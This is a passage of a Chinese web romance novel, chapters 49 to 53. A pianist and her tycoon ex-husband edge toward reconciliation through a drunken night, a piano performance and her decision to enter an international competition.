两人不知道在说什么,听起来像吵架,用他们家乡的方言,贺羡棠听不懂。她是自己开指纹锁进去的,站在玄关处才觉得应该敲下门。 绣姐抿着唇,见到是她,脸上由怒转喜,一双眼睛笑的弯起来:“cici怎么来啦,也不提前讲,我都还没做饭。你等着啊,今天早上我在市场买了袋濑尿虾,个个都这么大——” 她在胳膊上比了下:“做避风塘的好不好?” “你别忙了,叶微晚上约我出去吃。”贺羡棠无视客厅里的方脸男人,拿耳钉给她戴上,歪头笑了,“好不好看?” 绣姐摸着耳垂:“好看,你的眼光最好了。” 她又拉着贺羡棠在沙发上坐下,拿出她织了一半的裙子在贺羡棠身上比划,尺码织的倒是正好,只是春天到了,她还没织完,嘟囔着:“怎么春天来的这么快,一眨眼天就暖和了。” 一条米色的吊带钩织群,用比较细的蕾丝线,织出来薄薄的,上面坠着几朵五彩小花,裙摆还没织完。 “快啦快啦!”贺羡棠说,“我今年春天肯定能穿上!” / 沈澈每晚给贺羡棠打一个电话,但始终没被从黑名单里放出来。 还真生气了。 飓风一停,沈澈就飞回香港了。他的肺炎还没彻底痊愈,在董秘的强烈要求下,一整个医疗团队随他登机返港。 到香港时已是深夜,迈巴赫候在停机坪,一同来接机的还有董秘,他上前一步,微微颔首:“沈董。” 沈澈无故消失这么久,带着一身肺炎回来,他攒了一堆工作汇报。 沈澈摘下黑色小羊皮手套:“上车吧。” 迈巴赫驶入无尽夜色之中,董秘自己车跟在后面,等着接他回去。 十几个小时的长途飞行对于病人来说确实是件劳累事,沈澈靠在座椅中,阖着眼听汇报,眉心微蹙,偶尔听到重要的,才睁开眼扫董秘。 “匈牙利的项目谁负责的?” 欧洲腹地,辐射中东,是很重要的地位位置,也是远南集团全球扩张的重要一步。 董秘报了个名字,是以前他父亲的老下属。 沈澈说:“下个月我过去看看。” “是。” 车停到贺羡棠家楼下,沈澈抬手,指甲向后扬了扬,那是个拒绝的姿态,董秘知道自己该滚蛋了,礼貌道别。 沈澈深吸一口气,从中控台储物格里挑出一枚药袋贴身装好,抬脚下车,按电梯上楼。 梯箱明亮,映出他倒影,苍白的一张脸,顶着俩黑眼圈,看上去憔悴。 沈澈捏了下鼻根,心想贺羡棠总不至于狠心到把他一个病人拒之门外吧。 谁知贺羡棠真就这么狠心,一开门看见是他,二话不说反手关上门。 沈澈:? 他敲门,一边咳嗽一边喊“cici”,不一会儿门又开了。 果然贺羡棠还是心疼他的。 接着贺羡棠迎面塞给他个花瓶,里面插着支快谢了的海棠花。 “明天去把你的海棠挖走!” 说着又要关门,沈澈眼疾手快,伸手挡住。 “不行啊,”他笑道,“树随便挪会死的。” 贺羡棠横眉竖眼,冷不丁来了句:“调直升机很难吗?” 沈澈:“……” “不如这样更让人心疼是吧?” 沈澈:“…………” 贺羡棠犹如被骗走了两百多斤真情实感的受害人,愤愤然道:“你得肺炎就是活该!” 【作者有话说】 抱歉抱歉昨晚没更。昨天开组会半个小时干巴巴念完PPT的时候我差点嘎巴一下死在电脑前π_π 不过这是这个学期最后一次啦( ̄▽ ̄) 50 第50章 ◎“你们男人没有一个好东西!”◎ “沈生请回吧。” 贺羡棠朝她手心向外,朝他挥了挥手,脸上的笑意却甜。小表情灵动,得意洋洋的,带着扳回一城的喜悦。 “哐当”一下,门又关上了。 沈澈摸了摸鼻尖,一鼻子灰。 晚上睡前,依旧是贺羡棠的练琴时间。从五岁学琴开始,钢琴已经成了她生命中的一部分,数十年如一日地练琴,最初时还觉得枯燥乏味,小小的人坐不了多久就喊累,时至今日,已经变成和吃饭喝水一样的习惯了。 她练肖邦叙事曲,123弹过去,有些累,4懒得磨,正巧接到Chloe的电话,让她看邮件。 贺羡棠倒了杯水,站在岛台边打开笔电,鼠标上下滑动,点开Chloe那一封,是露台造景的设计图成稿。她大致扫了一眼,没什么不满意的,切回whatsapp回复“ok”。 Chloe秒回:“cici,你简直是这个世界上最棒的甲方!” 贺羡棠一笑,鼠标往下滑,扫视有没有其他重要邮件,最底下一封,是她远在北美的恩师发来的。 颇负盛名的一场国际钢琴比赛邀请函,四年举办一次,每届的冠军,都已经成为了大师级别的钢琴家。 这些国际赛事的年龄限制通常在三十岁以下,今年放宽几岁,贺羡棠正好卡在线上。 可她已经很多年不参加比赛了——这是年轻时候才应该做的事情。 年少成名,一举夺冠,钢琴界的许多天才都是这么被发掘的。那是少年人的专场,不是她的。 正思索如何回复,视线扫到邀请函下,恩师附上的一行小字—— “Cecilia,你需要一个让全世界重新认识你的机会。” 她需要吗? 这些年演出,也积攒了一些名气。无论独奏音乐会还是和乐团合作,也有些人买单。可她的名气也仅限于此,国内年轻钢琴家盘点,她榜上无名,反倒是各种八卦娱乐小报上,“cecilia”和“贺羡棠”的名字频现。 不可否认,这对于现在的贺羡棠来说,很有诱惑力。 她成名过吗?好像也成过,那时她年轻,还没毕业,把肖邦弹的很好听,只是后来,钢琴在她生命中的比重逐渐被“沈太”这个身份占据了。 已经过去太久了,恍惚觉得是上辈子的事情。 许是恩师也对她失望。 春日的温差大,夜晚起风了,呼啸地拍着窗户。贺羡棠觉得她的胸腔里也刮着一阵风,循着这股气,她点进参赛报名链接。 再关上电脑时,贺羡棠觉得脚底轻飘飘的。水杯放在一旁,再拿起,滑了一下,手心里一片潮湿。 三十多岁,和二十来岁甚至十八九岁的年轻人同场角逐,听起来好像有些丢脸。 贺羡棠有点后悔了。 她该不会是年龄最大的参赛者吧? 贺羡棠仰头喝尽一杯水,名都报了,总不能反悔。 试试吧,总不会真有人在她面前取笑她。 网上也不行。 但她有钱,可以买水军。 做了一番心理按摩,贺羡棠心态平和多了,就是有点精神,睡不着,想吃东西,叫人送一份糖水过来。 自家酒店不敢怠慢,送的很快,她贴上面膜,没来得及摘,物业管家就来按门铃了,贺羡棠一推门,发现沈澈还在外面。 他戴上口罩,咳的惊天动地。 贺羡棠微怔:“你怎么还在?” 已经凌晨一点了,他在门外等了……两个小时? 回应她的只有咳嗽声。 进也不是退也不是,沈澈咳一声,贺羡棠就心软一分,想到他是自找的,又冷哼了声,暗骂自己没出息容易骗。 沈澈好容易咳完了:“cici,借一杯水。” “进来吧。” 贺羡棠给了他一杯温水,看他拿出一枚药袋,也没数有几颗,一股脑倒进嘴里,自然又是被呛的咳了一阵子。 贺羡棠拆开糖水,依旧说:“活该。” 沈澈咳完了,放下水杯,忽然说:“下个月我要去匈牙利出差。” 已是三月月底,下个月也没几天了。贺羡棠先是在心底计算了下时间,然后才冒出“想这个干什么”的念头。 “关我什么事儿。”她说。 沈澈定定地看着她:“应该要去很久。” 他原计划是去德国出差,行程排的很满,再加上一个匈牙利,没半个月回不来。 贺羡棠掀起眼皮瞧他:“哦。” 沈澈散漫地笑,长途航班,带病熬到凌晨,饶是他精神也有些支撑不住,眼底漫起几分倦意。 “别生气了好不好?”沈澈手心搭上她膝盖,轻轻晃了下,“这么长时间见不到,不想我吗?” 贺羡棠神色冷淡:“想你什么?想你骗我还是想你拿我当傻瓜耍?看我为你内疚你很高兴吧。” “我错了。”沈澈从善如流地道歉,单膝点地,脑袋抵在她膝盖上,“我承认这件事上我有自己的一点小心思,但那天我担心你是真的,生病也是真的。” 贺羡棠不言语。 “你不是傻瓜,你最聪明。”沈澈叹了口气,脑袋去顶她手心,“我才是傻瓜,我以后绝对不做这种傻事了,好不好?” “你不真诚。”贺羡棠拂开他,“沈生,你毫无信誉。” 贺羡棠赶客:“不早了,吃完药就赶紧回家吧。” 街景流动,霓虹灯斑驳,沈澈坐在车里闭目养神,有些困倦了,可脑子里左一句“真诚”右一句“信誉”。 他一个商人,要这东西干什么。 贺羡棠还真凌晨把他赶出来了。 生这么大气……该怎么哄? / 贺羡棠琢磨着比赛的事。 帕那索斯国际钢琴比赛,在比利时举办,被誉为钢琴界的“奥林匹克”,是青年演奏家走向世界的跳板。 青年演奏家…… 贺羡棠一个卡着年龄限制参赛的,再过几年都能被称为中年钢琴家了,实在是忝居此列。 她又踌躇了,给Mia打电话讲这件事,试图寻求共鸣,一接通,那边传来十分暧昧不得不让人多心的声音。 贺羡棠额头上缓缓滑落三根黑线,听见Mia打了某人一巴掌,好清脆响亮的一声,然后问她:“cici,怎么了?” “没事。”她赶忙把电话挂了。 香港是晚上八点,瑞士那边明明是下午,白日宣淫,好不道德! 贺羡棠拍拍发烫的小脸蛋,又拨叶微的电话,那边扯着嗓子边哭边喊:“cici——!” 贺羡棠吓了一跳,比赛抛诸脑后:“你怎么了?” 叶微伤心过度,话也讲不明白,贺羡棠担心她,问清她在哪家酒吧,拎上包一脚油门,开车到中环。 叶微哭的有些意识不清了。 好歹也是个公众人物,应当不想被狗仔拍到在酒吧痛哭,明天上新闻,又不知道被怎么编排。 贺羡棠要了杯温水给她喂下去:“去我家?” 叶微两条胳膊缠上她脖子,鼻音很重:“嗯。” “我抱不动你呀。”贺羡棠搀着她,跌跌撞撞地,总算体会到当初Mia把贺舒弄回她家有多不容易。 怎么她家总是收留醉鬼? 一到家,叶微瘫在地毯上不肯动,贺羡棠干脆坐在她旁边,伸手在她眼前晃了晃:“这是几?” 叶微一把攥住她手指,定定地看着她,也不说话。 贺羡棠说:“你喝多了。” 叶微否认:“没有。” “想吐吗?” 叶微摇头。 醉鬼的话不可信,下一秒,叶微瞪大双眼,肩膀一抖,贺羡棠眼疾手快,立刻端来垃圾桶,下一秒,叶微吐了个昏天黑地。 还好,她特意从北欧背回来的羊毛地毯保住了。 这味道实在不好闻,贺羡棠捏着鼻子,要把垃圾丢出去,叶微见状,开始大哭:“你嫌弃我!” 贺羡棠丢了垃圾桶,高举双手:“我没有!” 叶微鼻涕眼泪往她身上蹭:“你家有酒吗?” “别喝了。”贺羡棠叹气,“为什么喝这么多?” 叶微哭的更厉害了:“周聿安这个王八蛋!” 贺羡棠问:“他怎么了?” 两人吵架了? 贺羡棠实在没这方面经验,她不和沈澈吵架,两人如果意见不合,情绪最冲动的时候,会默契地停止交流独自冷静。 当然,那几年他们也没什么意见不合的时候,所以就更没吵过架。 他们直接离婚了。 吵的这么厉害,贺羡棠不知该怎么劝,本着“大家都是朋友你好我好大家好”的原则,她替替周聿安说两句好话。 刚张了下嘴,叶微抽噎着说:“他招妓。” 贺羡棠惊了:“啊?” 反应过来后,她骂:“周聿安这个王八蛋!” 叶微一双湿漉漉的大眼睛眨了眨:“所以有酒吗?” 贺羡棠舍命陪君子,从酒柜里翻出她用来装饰的麦卡伦25:“有!” 沈澈带着一束海棠花,扣响贺羡棠家门。他这次是有备而来的。 九点钟,夜色正好,等他送了花,牵着贺羡棠到她家落地窗前,向外眺望,九点一刻,对岸摩天大楼上就会出现他提前吩咐的霓虹字—— “乞CC谅宥”。 虽说如此大张旗鼓,作风倒像是沈濯那个毛头小子,但沈濯信誓旦旦地向他保证,他当初就是这样大张旗鼓地搞浪漫才把晏宁追到手的。 里面传来脚步声。 沈澈整理了下西装袖口,信心满满。 门打开了。 比贺羡棠的面容更先到来的,是一阵浓郁的酒气。 沈澈蹙起眉。 怎么在家喝酒? 贺羡棠晕乎乎的,和叶微边喝酒边骂周聿安骂了半个多小时,细数他曾经犯下的种种过错,并强烈谴责了他这种不道德的行径,在怒火达到巅峰值时,沈澈撞到枪口上了。 她深吸一口气,像辆小火车头一样撞飞了沈澈。 “你们男人没有一个好东西!” 50-60 51 第51章 ◎沈澈忽然冒出个念头——贺羡棠是什么时候开始喜欢他的呢?◎ 沈澈扶着贺羡棠的腰,奇道:“谁又招你了?” 贺羡棠张牙舞爪地挠他:“你!” 还要开会的。沈澈向后躲了一下,一手攥住她一双手腕,一手伸在她眼前晃了晃:“这是几?” “我没醉!”贺羡棠说,“是三!” 只有醉鬼才会强调自己没醉。 喝这么多,明天不知要难受成什么样。沈澈掏出手机,正要叫人送解酒汤来,门后叶微探了个脑袋出来。 四目相对,她眼神很迷茫,大着舌头问:“你相信光吗?” 沈澈:“……” 他好像知道那个“不是好东西的男人”是谁了。 周聿安又趁叶微不在香港出去打野食,终于东窗事发。 他指尖在屏幕上一顿,直接拨给Tina,报出贺羡棠家的地址,说:“你过来把叶微接走,顺便带一份醒酒汤。” 晚上九点多。Tina如遭雷劈,内心波涛汹涌,表面八风不动,应道:“是,二十分钟。” 说完她换上更舒适的平底鞋,一边往包里丢车钥匙一边给集团旗下的酒店打电话要醒酒汤,然后拎上包冲了出去,脚下生风。 车子开往沈澈给她的地址,路上顺便去酒店取醒酒汤,偶尔遇上红灯,走神片刻,Tina脑子里全是: “我的天啊这个点大老板为什么和叶微在一起”“朋友妻不可欺你知道吗”“道德呢底线呢良心呢”“老板娘知道了怎么办”“你们有钱人玩的这么花吗”等等…… 她一口气提到嗓子眼里,心惊肉跳,随物业管家一同上楼,按门铃时手都微微颤抖。 沈澈开的门。 Tina的视线不由自主地越过他往室内扫,地毯上躺着一个身量很高的女人,此外还有人歪倒在沙发上,灯光比较暗,看不清脸,只依稀能认出也是个女人。 她汗毛倒竖,内心里有一万只羊驼狂奔而过。 她老板……原来是这种人? Tina不愧是深受沈澈信任的私人贴身助理,在职场中浸淫浮沉多年,就算内心已经上演了一出十八禁,脸上依旧挂着标准的职业假笑。 她递上醒酒汤:“叶小姐她……?” 沈澈说:“喝醉了,你把她带走,找人照顾一下。” 他把汤放到餐桌,盛出一小碗来,径直越过躺在地上的叶微,抱起沙发上的女人。 他的动作很轻,实在太珍重,掌着女人的后脑勺给她在自己怀里找了个舒服的位置,才腾出手去握汤勺。 “cici,起来喝点醒酒汤。” Tina那口气终于松了。 原来是老板娘。 怪就怪她最近看太多狗血电视剧。 贺羡棠“哼”了几声,不愿意配合。沈澈耐心十足,放下汤,捏着她的脸玩,终于把人弄醒了。 贺羡棠忍无可忍:“你干嘛!” 沈澈轻笑一声,撩起眼皮看Tina:“还不走?” “哦哦。”Tina如梦初醒,扛起叶微忙不迭溜了。 贺羡棠又要闭眼睛,她头晕,困的顶不住,沈澈两根手指把她眼皮撑开了,不一会儿就酸的要流眼泪。 贺羡棠拍开他:“你干什么呀!” “把醒酒汤喝了。” 葛花蜂蜜梅子陈皮水,贺羡棠不吃太甜的也不吃太酸的,沈澈先尝了一口才喂给她。 贺羡棠抿着唇:“不要!” 沈澈说:“小心明天头疼。” 贺羡棠摇头:“不会!” 两个字两个字地往外蹦。 她的唇*紧抿着,脸颊上浮出醉酒后的潮红,水凌凌的眼睛眨了下,怕沈澈硬灌,一巴掌按到他脸上。 柔软的掌心贴着鼻根,氧气瞬间稀薄,沈澈无奈地笑了,捏在手里攥了攥:“那我可换种方式喂你了。” 贺羡棠这会儿还能听懂话:“什么方式?” 沈澈含了口茶在嘴里,作势要去吻她,贺羡棠捂着嘴拼命摇头。 “不要不要!” 太奇怪了。 明明小孩子都不会被这样喂食,贺羡棠怕他真做出这种事,端起碗一口闷了,味道不太好,她忍着想吐的感觉,拍了拍胸口,缓了一会儿,又躺回去,闭目养神。 还挺乖。 贺羡棠酒量差,平日在晚宴上,喝酒也不过一杯,且大多是些低酒精的小甜水,偶尔和Mia一起多喝几杯,觉得头晕,倒头就睡。 还是第一次见她醉成这样。 沈澈扯了条小羊毛毯给她披上,在房子里转了一圈,寻找罪魁祸首,一瓶麦卡伦已经空了。 难怪醉成这样。 那边沙发上,贺羡棠忽然坐起来:“我要弹琴!” 弹什么琴,醉的手都在抖,但人已经蹦蹦跳跳地飘进琴房了,沈澈做她唯一的听众,贺羡棠轻轻抚了下钢琴,碎碎念道:“小七,争点气。” 那是一架施坦威D274,交叉弦列和组合式别弦纽的设计让音质更加丰富和谐,巴伐利亚云杉木锃亮。和普通的D274不同,这是贺羡棠十八岁时特意飞去德国定制的,上面刻着“cecilia”的名字,当做她送给自己的成人礼物。 这架琴陪着她漂洋过海,度过了漫长的求学时期。因为保养得当,贺羡棠没有换掉它的打算,还亲切地给它取了一个昵称。 每个钢琴家的习惯都不一样,有些钢琴家会根据演奏的曲目和地点更换不同的钢琴。贺羡棠在小型音乐厅里,有时也会换成S155,但她显然和这架D274有着很深厚的感情。 她认为演奏情感弥足珍贵,视钢琴为朋友。 沈澈忍不住垂眼笑了声。 贺羡棠瞪他:“你对它有意见吗?” 沈澈微微颔首:“不敢。” 贺羡棠歪着脑袋想了下,她脑子里一片混沌,错落的音符连不成篇,于是问:“你想听什么?” 沈澈顿了一下,他的睫毛垂下去,因此贺羡棠看不到他眼底有异样的神采。 “肖邦。” “哪一首?”贺羡棠问。 沈澈呼出一息:“肖邦第一钢琴协奏曲第二乐章。” 贺羡棠沉默了一会儿,缓缓摇头说:“这首不好。” 沈澈问:“哪里不好?” “我弹不好。” 她好像清醒了点。 沈澈说:“你弹的最好。” 贺羡棠说:“我师兄弹肖邦最好听。” 沈澈一时没想起是她哪个师兄。贺羡棠跟随过很多钢琴大师学习,同门师兄弟海了去了,往大点说,当年一同在茱莉亚学习的同学也算。 这不重要。 贺羡棠顿了一下,还是弹了这首曲子。琴音自她指尖缓缓流淌,每一个音都处理的那么干净漂亮。 这是一首很浪漫很柔和很平静的曲子,沈澈却无端有些悲伤。 那么干净的琴音,那么优雅的旋律,和缓,舒畅,是十九岁少年的初恋,如流水、如微风,裹挟着朦朦胧胧的爱恋。 听在沈澈耳中,是良宵美景终成回忆,是他站在五年后的时间点上,遥遥回望,看到了五年前捧着一腔真心和勇气的贺羡棠。 他只是望着贺羡棠,琴房明明四面包着吸音板,没有留窗户,可仿佛不知道哪来的一束月光照在她身上。 只照在她身上。 五年前的林肯中心里,其实也没有一道这样的月光。 他当时有事,耽误了一些时间,等他到时,音乐会已经开始了,沈澈猫着腰找到自己的位置,坐下,一曲玛祖卡刚开始弹。 沈澈看了眼腕表,八点钟,音乐会还有一小时结束。 他抬眼望台上。 贺羡棠神情专注,穿一件纯黑礼服,露出光洁圆润的肩膀,长发绑在脑后,一颗闪亮的珍珠耳坠随着韵律的节奏晃动。 光线明暗交替,光影如绸缎般在她身上流动,身后屏幕上一点蓝光莹莹,若隐若现,组成星河的形状。 弹至最后一曲,是这首肖邦。 悠扬的乐曲在厅内流动,一曲终了,贺羡棠起身,在满厅的掌声中鞠躬,她始终挂着礼节性的微笑,直起身时目光掠过台下,两人对视,贺羡棠的笑意更柔和了些。 也就是在那一刻,沈澈觉得,和贺羡棠结婚,也不错。 他们婚前没见过几次面,幼时的接触可能更多些,但那已经是很久远的记忆了,后来至多不过是有一次沈贺两家一同去山里度假,贺羡棠被绑,他阴差阳错,先警察一步找到了她。 沈澈忽然冒出个念头——贺羡棠是什么时候开始喜欢他的呢? 好像那时候,贺羡棠就对他很热情了。 最后一个音符落下,贺羡棠侧过身看他,沈澈笑着回望。 望着望着,她忽然哭了。 嚎啕大哭。 根本哄不住的那种。 贺羡棠平时很少哭,沈澈毫无招架之力,他开始后悔让她弹这首曲子,平白酒后勾人伤心事么这不是! 沈澈吻去她的眼泪,蹭了下她鼻尖:“别哭了bb,都是我的错。” 贺羡棠点头,深以为然:“都是你的错!” 紧接着她说:“我弹的好难听。” 沈澈:“?“ 虽然但是……这和他有什么关系? 喝醉了胡言乱语的吧? 沈澈谨慎地问:“所以你哭,是觉得你没弹好?” 贺羡棠一滴泪挂在腮边,抬眸看他:“不然呢?” 沈澈问:“有没有一种可能,是这首曲子,它……感染了你?” “这么难听,感染什么啊?”贺羡棠手背蹭了下脸,抽抽噎噎地说,“我这样……我这样怎么去比赛啊!” 沈澈轻轻“啊”了一声:“比赛?” 贺羡棠自顾自地说:“被人骂怎么办?我都三十多岁了!还和一群小年轻一起比赛,还弹的这么差!” 沈澈又“啊”了一声。 他最擅长解决问题:“没事儿,我给你请水军。” 【作者有话说】 今晚有点忙,来晚了来晚了!评论区发点小红包(≧≦)/ 52 第52章 ◎你说你喜欢我,一定要跟我复婚。◎ 贺羡棠依稀觉得她自己也有这么个计划。 她不甚清醒的大脑已经无法支撑她继续思考了。贺羡棠晕乎乎地笑,晕乎乎地向前一栽,沈澈接住她,抱她去床上休息。 刚把人放下,贺羡棠鲤鱼打挺般站起来了,也不说话,像是在思考是否忘记了什么事情。 沈澈又把她抱上床,被子盖到下巴,只留一张素净的小脸在外面。 她很安静。沈澈以为她要睡了,看了她一会儿,轻轻地吻她。 贺羡棠轻哼了声,两条手臂举过头顶,小脸在胳膊内侧蹭了蹭,嘟囔着:“别闹。” 窗帘未拉,这回是真的有月光了,绸缎般缠在她眉眼间。沈澈目光随着皎月,细细描绘她的面容,远山一般的黛眉和鼻梁,瓷白的皮肤泛着光泽。 他又冒出那个念头——贺羡棠究竟是什么时候喜欢他的。 他向来知道贺羡棠的心意,只是从未深究她这份心意从何而起。 是订婚前的几次相处?还是更早之前? 贺羡棠一个人,曾经走过多远的路? 她是不是已经走过九十九步,只等着他来走最后一步,而他却把她推远了。 沈澈又亲了下贺羡棠鼻尖,她鼻子皱了皱:“点(怎么)?” 她声音轻,又柔,沈澈心都要化成水了,没起身,鼻梁蹭她脸颊,像只温驯的大型犬。 他觉得这会儿贺羡棠能回答他的问题:“cici,你什么时候开始喜欢我的?” 贺羡棠脑袋一歪就睡过去了。 这样也好,总没说什么“我什么时候喜欢你不重要,重要的是我现在早就不喜欢你了”之类的话。 贺羡棠看上去很困了,于是沈澈放心去洗漱,结果刚回来就看见她直挺挺地站在床边。 沈澈也问她:“点?” 贺羡棠终于想起来了:“还没洗澡。” 她有一点洁癖,不洗澡不能睡觉。 可酒后怎么洗澡?况且她醉成这样,很容易低血糖和脑供血不足的。 沈澈哄她:“已经洗过了。” “没有!”贺羡棠急了,像个急着证明什么的小孩子,“我还没洗过。” 沈澈狠狠亲了她一口,哑声问:“你要我给你洗吗?” 规避风险仿佛是人类的本能,贺羡棠醉成这样了,还是一边推开他一边往浴室里走,小声说:“我自己洗。” 沈澈哪敢放她自己进浴室,半道又把她抱回床上,贺羡棠眼睛瞪的圆溜溜的,怀疑自己走不出这张床。 沈澈说:“不准洗!” 好霸道的人。 贺羡棠不可置信地看着他。 怎么还不让人洗澡? 那她不能在这张床上待。一翻身连人带被滚下床了,沈澈吓的魂飞魄散,托着她后脑勺,还好地上铺着地毯身上裹着被子。 他算是服了她了。 “明天给你换张床总行了吧!” 贺羡棠缩在被子里考虑了一下,终于退步:“洗脸刷牙。” 沈澈松了口气,要抱她去卫浴室。她不许,偏要自己走,短短一条路走的歪歪扭扭,几次要撞墙,沈澈都给她掰正回去了。 总算有惊无险。 卫浴室里灯光明亮,飘着一蓬一蓬沉静潮湿的花木香,半面墙的镜子映出两人身影,一个醉鬼,一个无奈。 贺羡棠对着镜子咧嘴笑了,比耶。 沈澈垂眸抿唇,把一只已经挤好牙膏的牙刷塞进贺羡棠手里。 她酒后倒是乖巧,让含着牙刷就含牙刷,让漱口就漱口,刷完牙洗脸,她发圈没带,一低头,发丝晃到前面,沾上了水。 卫浴室哪个储物格里应当有的,但贺羡棠想不起来了,沈澈就帮她拢着头发,等她洗完,扯了条洗脸巾帮她擦净脸上水珠 贺羡棠皮肤好,不枉美容院里一年撒好多钱,真是一点细纹都没有,剥了壳的嫩鸡蛋似的,刚洗过脸,摸着又软乎乎的。沈澈笑着捏了她一把。 “这么可爱呢。” 贺羡棠捂着脸撅了下嘴,重新回到床上,关了灯要睡觉,她还记仇,同样捏了沈澈一把。 沈澈无声笑了。 不明朗的夜光中,他笑的特不值钱。贺羡棠实在头晕,心想这人傻了吧?挨揍还笑的这么灿烂。 态度不端正。 她翻个身抱着被子一角睡觉,睡着睡着觉得身后那块贴着她的胸贴火热,睡梦中循着热源蹭过去,把脸贴在他怀里。 一夜好眠,无梦。 第二天醒来时,已经十点多了。 贺羡棠盯着白花花的天花板,脑中一片空白。她喝断片了,依稀记得自己把叶微接回来,一起喝酒,然后就…… 然后就怎么样来着? 叶微呢? 她伸手摸了摸身侧,空荡荡的,被窝里没有一丝温度,不像有人睡过的样子,顿时觉得惊悚。 叶微呢?! 两个人都喝成那个鬼样子,她肯定不会让叶微离开。 难不成睡在客卧? 贺羡棠踩着拖鞋噔噔噔往外跑,一身家居服因为昨夜睡觉不老实而歪七扭八地挂着身上,她边整理领口边推开门,和端着杯水的沈澈撞上,后者眼疾手快地躲了一下,才没让水洒在她金贵的地板上。 “做什么冒冒失失的?” 贺羡棠整个人像被定海神针定住了:“你怎么会在这?” “我不在这谁在这?”沈澈喂她喝水,是一杯温热的蜂蜜水。 贺羡棠下意识张口,咽下去润嗓子,果真舒服。 “叶微呢?” 沈澈问:“头疼不疼?” 说着手心来搭她额头。 贺羡棠按下他小臂:“叶微呢?” 沈澈说:“我让Tina把她带走了。” “哦。”贺羡棠松了口气,紧接着这口气又提起来,“昨晚你一直在?” “不然呢?”仗着身高优势,沈澈居高临下地睨她,眼角眉梢含着深深笑意。 贺羡棠一时沉默,仔细感受了一下,腰不疼腿不酸某个地方也不肿,应当没做什么太过分的事。 还好还好,贺羡棠冷静了点。 “喝断片了?”沈澈笑着揉了把她头发,说,“醒了就去吃点东西,免得胃里难受。一会儿我约了人上门来给你换张床,跟你这张一样的行不行?” 贺羡棠又不冷静了。 昨晚到底做了什么,已经到了要换床的地步了吗?! 她的脸瞬间红了,一副被雷劈中的表情。 真是……天雷滚滚,报应不爽。 她贺羡棠发誓,从今天起,她滴酒不沾! 沈澈一看就知道她在想什么,抿一抿唇,不让笑意太过明显:“你想什么呢?” “我……我哪有想什么?”贺羡棠期期艾艾,谨慎地求证,“为什么要换床?” 沈澈忍着笑说:“是你要换啊。” “我……为什么要换床?” 沈澈说:“你嫌它脏。” 贺羡棠只觉得头疼牙疼胃疼,哪哪儿都疼。她嘶嘶地倒吸凉气:“我,我……” 床上也没什么不明液体啊…… 是不是换过床品了? 可她怎么一点也不记得了。 脑子不记得就罢了,身体也不记得。 她气急败坏:“都怪你!” 沈澈闷闷地笑,把人往自己怀里揽:“不逗你了。你昨晚一定要洗完澡才睡觉,喝醉了哪能去洗澡?我就说今天给你换一张床。” 贺羡棠呆呆的:“哦,那是可以换。” 后知后觉地反应过来一大早又被沈澈骗着玩,贺羡棠瞪他,一把推开人往客厅走,边走边说:“别搞的我们好像很熟一样,我还没原谅你呢。” “我们不熟谁熟啊?”沈澈坐在餐桌边,往烤多士上抹斑斓奶酱,递给贺羡棠,揶揄地笑,“我们俩的社交距离已经是负数了。” 贺羡棠锤他肩膀,愤愤地咬了口多士。 味道很棒。 姓沈的还有点用处。 她又问:“我昨晚还干什么了吗?” “可多了。”沈澈问,“你想先听哪件?” 贺羡棠说:“我哪知道都有什么!” 沈澈一本正经地说:“昨晚你弹琴给我听,你说你喜欢我,一定要跟我复婚。” 贺羡棠放下多士,坐直身子,淡淡地瞥了他一眼:“沈生。” 根本骗不过她。沈澈说:“好吧,后面是我编的。昨晚你要弹琴,还说要去参加个什么比赛,一边哭一边说你弹的很差。” 这句贺羡棠倒是分不出真假来:“我哭了?” “嗯,根本哄不住的那种。” 餐桌不算宽,沈澈伸手,曲指在她脸颊上蹭了蹭:“别有压力,你弹的很好。” 贺羡棠一顿,说:“我知道。” “比赛什么时候?” “还要再等两个月。”贺羡棠又嚼了几口早餐,忽然问,“你会不会觉得,我这个年纪还去参加比赛,有一点……可笑?” “为什么这么问?” 贺羡棠说:“因为……这是年轻人才会参加的比赛。” 沈澈问:“你还记得我公司里有个姓吴的下属吗?” 贺羡棠想了下:“记不清。” 她对他工作上的事情不太了解。 “他是战略部的总经理,去年我把他调到了非洲。”沈澈又问,“他今年三十六岁了,但你知道他三十岁的时候在干什么吗?” 贺羡棠摇头。 沈澈说:“在酒店的餐厅里做服务员。” 贺羡棠有些吃惊,这种背景是怎么进入远南集团工作的?要知道每年招聘季,G大的毕业生都趋之若鹜,他一餐厅服务员,想来学历背景一定不好,不仅能进入远南集团,居然还做到了战略部总经理的位置? 沈澈给他讲,这位“小吴总”三十岁从餐厅辞职创业,拉投资拉到了远南集团旗下的风投公司,后来过了没多久,公司黄了,但沈澈在去分公司视察时注意到了这个小项目,他觉得这人是个可用之才,就把他丢到战略部,从底层小职员做起。 一年后他升职了,成了一个小主管。没多久又升职了。 沈澈原本快要忘了这个人,奈何他升职速度太快引人注目,而那时沈澈还在和邢璋打擂台,急需在集团内培养自己的亲信,便有意栽培他。 就这样过了五六年,他青云直上,从餐厅服务员做到了战略部总经理,去年下半年又被他外派去非洲镀金。 “他是个很不错的员工,有野心,果决,懂合作,当断则断,能够承受损失,从不拖泥带水。”沈澈说,“迄今为止,他都是远南集团内升职速度最快的人。” 贺羡棠点点头:“挺厉害的。” 沈澈看着贺羡棠:“cecilia,有的人,你只需要给他一个机会,他自能大放异彩。他是,你也是。你参赛是在规定的年龄范围之内,合情合理合法。我相信全世界都会通过这场比赛认识你,你是很棒的钢琴家,不要妄自菲薄。” 贺羡棠沐浴在清晨的阳光之中,忽然笑了。 53 第53章 ◎我只有一个cecilia。◎ 贺羡棠还挺高兴的,她咬着唇,嘴角还是不由自主地扬起来。 等吃完早餐,工人上门换床。贺羡棠都觉得有些夸张了。 “其实……洗一洗就好了。” 沈澈搂过她的腰,顺势在她耳垂上亲了一口,低声说:“给你换了硬一点点的,之前的太软了,对腰不好。” 确实有些软,但再硬一点她就嫌硬了。之前太平山别墅里那张软硬度刚刚好,只不过那是定制的。 这些牌子噱头大,什么一年只生产百余张床垫,普通的款式尚且要排队,定制必然要等,少则几个月多则一年,等真拿到床垫,早就睡习惯了。 她佯怒:“自作主张。” 沈澈说:“和之前家里那张是一样的。” 床垫床品这样东西,定制不会只定一套,以免无法及时更换。 贺羡棠微微点了下头,还算满意。 沈澈依旧附在她耳畔,低低地笑:“换了新的床,做起来会不会更舒服?” 工人进进出出,声儿不高不低地交流着。有外人在,他居然旁若无人淡定自若,贺羡棠没有这样的心理素质,她的脸一下子烧起来了。 偏偏沈澈的手心还搭在她小腹上,明知故问道:“结束了吧?” 